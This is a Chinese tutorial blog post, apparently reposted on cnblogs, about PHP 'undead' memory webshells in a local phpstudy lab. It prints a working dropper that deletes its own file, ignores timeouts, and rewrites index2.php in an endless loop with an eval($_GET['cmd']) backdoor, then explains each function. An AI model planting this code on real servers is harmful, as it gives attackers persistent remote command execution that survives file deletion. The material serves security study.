首页 > 系统相关 >【PHP系列】内存马(一)不死马

【PHP系列】内存马(一)不死马

时间:2024-07-31 18:49:55浏览次数:12  
标签:__ 文件 PHP 内存 FILE 不死马 php

实验环境工具

phpstudy

一、内存马概念

内存马是无文件攻击的一种常用手段,利用中间件的进程执行某些恶意代码。首先要讲的是PHP不死马,实质上就是直接用代码弄一个死循环,强占一个 PHP 进程,并不间断的写一个PHP shell,或者执行一段代码

二、不死马剖析

test.php:

<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    while (1) {
        $content = '<?php @eval($_GET["cmd"]);?>';
        file_put_contents("index2.php", $content);
        usleep(10000);
    }   
?>
    set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)

    ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True,则忽略与用户的断开)
    
    unlink(__FILE__)函数:删除文件(防止文件落地被检测工具查杀)

    file_put_contents函数:将一个字符串写入该文件中

    usleep函数:延迟执行当前脚本数微秒,即条件竞争

1.1 unlink(FILE)

在PHP中,unlink(__FILE__) 是一个用于删除当前文件的函数调用。
__FILE__是一个常量,存储了当前文件的绝对路径和文件名。
当执行 unlink(__FILE__) 时,它会尝试删除包含这个代码的文件。
换句话说,它会删除当前正在执行的 PHP 文件。

这个函数的作用类似于在操作系统中手动删除一个文件。

需要特别注意的是,执行 unlink(FILE) 并不会删除正在运行的 PHP 脚本本身,因为脚本在执行过程中已经被加载到内存中。

相反,它会删除磁盘上的文件,如果文件正在被其他进程使用,删除操作可能会失败。

三、执行内存马

访问内存马地址(这里我是在本地的8080端口开放的服务) ”http://localhost/test.php“,发现页面开始加载。

访问内存马释放的后门文件index2.php并执行phpinfo函数发现执行成功,原有的后门文件已经被删除

index2.php

​<?php
echo  "hello,world"
?>

最终index2.php变成了这样:

不出意外的话,网络管理员小李发现了这一异常,拿出360杀软一顿酷酷检查,最终发现了木马,一键查杀,就在感慨岁月静好的时候,发现木马一闪一闪亮晶晶,怀疑自己是不是吃了啥菌,出现幻觉了,这就是正宗的,如假包换的,地地道道的内存马,根本轻易杀不死。

那怎么办呢,小李这时候想着怎么水报告呢,根本无从下手,就搜了一下,经过一顿翻阅,发现可以重启主机,可以解决内存马的问题。

等等,我们都忘记了远在网络另一头的hack,那么接下来跟随我的视角,给大家报道一下hack的情况吧。

hack那边也是断断续续的,一会可以访问,一会不可以访问的。

好了,今天的内容就水完了。

我们明天见

标签:__,文件,PHP,内存,FILE,不死马,php
From: https://www.cnblogs.com/o-O-oO/p/18335242

相关文章

  • PHP 验证港澳居民来往内地通行证
    在PHP中,要验证港澳居民来往内地通行证,通常需要检查通行证上的信息是否符合预期的格式和规则。以下是一个简单的函数,用于验证香港/澳门居民来往内地通行证:functionvalidateHKTravelCard($cardNumber){//港澳居民来往内地通行证的正则表达式$pattern='/^[HM]([0-9......
  • 内存泄漏 与 内存溢出
    1.内存溢出(MemoryOverflow)生活样例:     内存容量就像一个桶,内存就是水,水溢出就是水满了。定义:        内存溢出是指程序试图使用超过其可用内存限制的内存。这种情况通常会导致程序崩溃或异常。内存溢出一般是由于分配了过多内存或者在使用数据结构时......
  • Unity引擎字符串内存布局
      Unity引擎的字符串有三种存储方式:堆:分配在堆上内嵌:一个栈上的内存数据。默认25字节,可以放长度最多24的字符串。这个长度定义为STACK_LENGTH. 外部  重点主要是前两种,这是一种优化方法,对于非常短的字符串,可以直接使用栈数据而不需要再次内存分配。C++伪代......
  • JVM内存结构划分
    JVM内存结构划分JVM(Java虚拟机)的内存结构主要划分为以下几个部分:堆(Heap)概述:堆是JVM中最大的一块内存区域,用于存储对象实例和数组。堆内存是垃圾收集器管理的主要区域,因此也被称为“GC堆”。细分:堆内存可以分为年轻代(YoungGeneration)和老年代(OldGeneration)。年轻代又进一......
  • JVM内存区域的划分
    程序计数器程序计数器是一块较小的内存空间,它可以看作当前线程所执行的字节码的行号指示器,在虚拟机的概念模型中,字节码解释器工作时就是通过改变这个计数器的值来选取下一条需要执行的字节码指令,分支、循环、跳转、异常处理、线程恢复等基础功能都需要依赖于程序计数器来完成。......
  • WeiPHP5.0 sql注入漏洞
    侵权声明本文章中的所有内容(包括但不限于文字、图像和其他媒体)仅供教育和参考目的。如果在本文章中使用了任何受版权保护的材料,我们满怀敬意地承认该内容的版权归原作者所有。如果您是版权持有人,并且认为您的作品被侵犯,请通过以下方式与我们联系:[[email protected]]。我们将在确......
  • JVM内存结构划分
    栈"栈"(Stack)是一种遵循后进先出(LastInFirstOut,LIFO)原则的抽象数据类型。以下是栈的一些基本特点和操作:特点:LIFO原则:最后加入栈的元素将是第一个被移除的元素。动态大小:栈的大小可以根据需要动态变化。线性结构:元素存储在栈中的方式是线性的,但只能从一端(栈顶)访问。基......
  • phpstudy_2016-2018_rce_backdoor漏洞复现
    phpstudy_2016-2018_rce_backdoor说明内容漏洞编号phpstudy_2016-2018_rce漏洞名称RCE(RemoteCommand|CodeExecute)漏洞评级高危影响范围phpStudy2016、phpStudy2018漏洞描述攻击者可以利用该漏洞执行PHP命令,也可以称作phpStudy后门。漏洞描述攻击者可以利用该漏......
  • PHP如何实现登录认证和鉴权
    本文由ChatMoney团队出品在Web开发中,用户认证(Authentication)和授权(Authorization)是构建安全应用程序的核心组件。用户认证是验证用户身份的过程,确保用户是他们声称的那个人。而授权则是确定已认证用户是否有权访问特定资源或执行特定操作的过程。PHP框架通过提供内置机制或集......
  • PHP框架中用户认证和授权的实现方法与示例
    本文由ChatMoney团队出品在Web开发中,用户认证(Authentication)和授权(Authorization)是构建安全应用程序的核心组件。用户认证是验证用户身份的过程,确保用户是他们声称的那个人。而授权则是确定已认证用户是否有权访问特定资源或执行特定操作的过程。PHP框架通过提供内置机制或集......